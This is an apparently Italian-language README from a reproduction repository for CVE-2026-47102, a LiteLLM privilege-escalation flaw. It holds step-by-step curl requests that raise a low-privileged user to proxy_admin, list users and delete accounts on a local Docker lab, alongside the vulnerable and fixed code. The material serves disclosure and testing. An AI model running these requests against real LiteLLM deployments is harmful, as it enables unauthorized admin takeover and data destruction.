
Il codice per riprodurre personalmente la vulnerabilità corrispondente
/user/updateLiteLLM v1.83.7 (versioni precedenti alla v1.83.10) l'endpoint
/user/updateconsente a utenti con privilegi bassi che hanno accesso a questo endpoint di modificare il campouser_roleinproxy_admindurante l'aggiornamento del proprio account, realizzando un'escalata dei privilegi non autorizzata.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorizzazione Errata) |
| Affetti | LiteLLM < 1.83.10 (confermato su v1.83.7) |
| Corretto | v1.83.10+ (aggiunta verifica permessi per modifica del campo user_role) |
| Pubblicato | 2026-05-21 |
| Scoperto da | Fenix Qiao (13ph03nix) — Obsidian Security |
| Link | NVD |
L'endpoint /user/update di LiteLLM viene utilizzato per aggiornare gli attributi di un utente. Nelle versioni affette, la funzione can_user_call_user_update() di /user/update controlla se l'utente ha il permesso di aggiornare l'utente specificato (consentendo all'utente di aggiornare il proprio record), ma non impone alcuna restrizione sui campi modificabili.
Ciò significa che qualsiasi utente in grado di accedere all'endpoint /user/update (ad esempio, un utente a cui l'amministratore ha concesso il permesso su questa rotta, o un attaccante che ha ottenuto l'accesso a questo endpoint tramite altre vulnerabilità) può elevare il proprio ruolo a proxy_admin modificando il proprio campo user_role, ottenendo accesso completo a tutti gli endpoint amministrativi.
Admin crea una chiave API per internal_user con permessi sulla rotta /user/update
→ internal_user ottiene accesso a livello di rotta
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ Ruolo elevato a proxy_admin
→ GET /user/list (verifica accesso amministrativo)
Le due vulnerabilità possono essere concatenate: CVE-2026-47101 utilizzata per creare una chiave con rotta wildcard (accedere a
/user/update), CVE-2026-47102 per elevare il proprio ruolo aproxy_admin.
# 1. Avvia PostgreSQL + LiteLLM vulnerabile (v1.83.7-stable)
docker compose up -d litellm
# Attendi che il servizio sia pronto (circa 10-30 secondi)
sleep 15
# Controlla i log del container
docker logs litellm-47102-privesc 2>&1 | tail -10
L'output previsto dovrebbe contenere log di avvio come Uvicorn running on http://0.0.0.0:4000.
Utilizza la chiave master per creare un account internal_user a bassi privilegi:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Output previsto:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
L'amministratore crea per l'internal_user una chiave API con accesso alla rotta /user/update. Questo è il modo tipico in cui un utente reale ottiene l'accesso all'endpoint /user/update:
# Usa la chiave master per creare una chiave con la rotta /user/update
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Output previsto:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Utilizza la chiave ottenuta al passo 2 (con permessi sulla rotta /user/update) per elevare il ruolo utente a proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Output previsto:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Punto di vulnerabilità:
user_roleè cambiato dainternal_useraproxy_admin! L'endpoint/user/updateconsente all'utente di modificare il proprio campouser_rolesenza alcuna restrizione a livello di campo.
Verifica che l'elevazione del ruolo sia efficace tramite l'endpoint /user/list (usa la chiave API interna originale, che non ha restrizioni di rotta; dopo l'elevazione a proxy_admin ottiene automaticamente i permessi amministrativi):
# Usa la chiave elevata a proxy_admin (chiave internal_user originale, senza restrizioni di rotta)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Output previsto:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Sfruttando i permessi proxy_admin ottenuti, è possibile eliminare qualsiasi utente tramite /user/delete (usa sempre la chiave API internal_user originale):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Output previsto:
1
I passaggi sopra sono integrati in demo.sh, eseguibile direttamente:
# Riproduzione completa (include confronto tra versione vulnerabile e corretta)
bash demo.sh
Avvia la versione corretta (v1.83.10-stable) per verificare che CVE-2026-47102 sia stato risolto:
docker compose --profile fixed up -d litellm-fixed
Crea un internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Crea una chiave con la rotta /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Tenta di elevare i privilegi (dovrebbe essere bloccato):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Output previsto (versione corretta blocca la richiesta non autorizzata):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Confronto con la versione vulnerabile:
| Scenario di test | Versione vulnerabile (v1.83.7) | Versione corretta (v1.83.10) |
|---|---|---|
| Chiave di rotta modifica user_role | ✅ Elevazione a proxy_admin riuscita | ❌ Bloccato ("Only proxy admins can modify user roles.") |
| Accesso a /user/list | ✅ Elenco utenti ottenuto con successo | ❌ Bloccato |
La causa principale della vulnerabilità risiede nella funzione can_user_call_user_update() dell'endpoint /user/update:
/user/update — Manca la verifica dei permessi a livello di campo# Codice vulnerabile — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # L'amministratore può aggiornare qualsiasi utente
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ L'utente può aggiornare il proprio record — incluso il campo user_role!
return False
Soluzione (v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # L'amministratore può ancora aggiornare qualsiasi utente e campo
elif user_api_key_dict.user_id == user_info.user_id:
# Limita i campi modificabili dai non amministratori
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
L'attaccante necessita di una chiave API in grado di accedere all'endpoint /user/update. Ciò può essere ottenuto tramite:
/user/update/key/generate per creare una chiave wildcard/user/updatePasso 1: Ottenere una chiave API con permessi sulla rotta /user/update
Passo 2: Chiamare /user/update per elevare il ruolo:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Passo 3: Verificare i permessi di amministratore:
GET /user/list
Authorization: Bearer sk-route-key
La versione corretta aggiunge la verifica dei permessi a livello di campo in /user/update:
metadatauser_role — Solo proxy_admin può modificare i ruoli utenteMessaggio di errore: "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # Questo file
├── CVE-2026-47102_漏洞复现报告.docx # Report di riproduzione (cinese)
├── docker-compose.yml # PostgreSQL + LiteLLM vulnerabile/corretto
├── config.yaml # Configurazione LiteLLM con connessione al database
├── requirements.txt # Dipendenze Python
├── demo.sh # Script di riproduzione con un comando
├── exploit/
│ ├── exploit.py # Script di sfruttamento Python
│ └── payload.py # Costruttori di payload
├── docs/
└── screenshots/
/user/update con modifiche a user_role per attività anomaleDisclaimer: Questo contenuto è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.
| Confronto | CVE-2026-47101 | CVE-2026-47102 |
|---|
| Focus vulnerabilità | /key/generate non verifica allowed_routes | /user/update manca permessi a livello di campo |
| Prerequisito attacco | internal_user può chiamare direttamente /key/generate | Necessario prima ottenere accesso alla rotta /user/update |
| Versione corretta | v1.83.14 | v1.83.10 |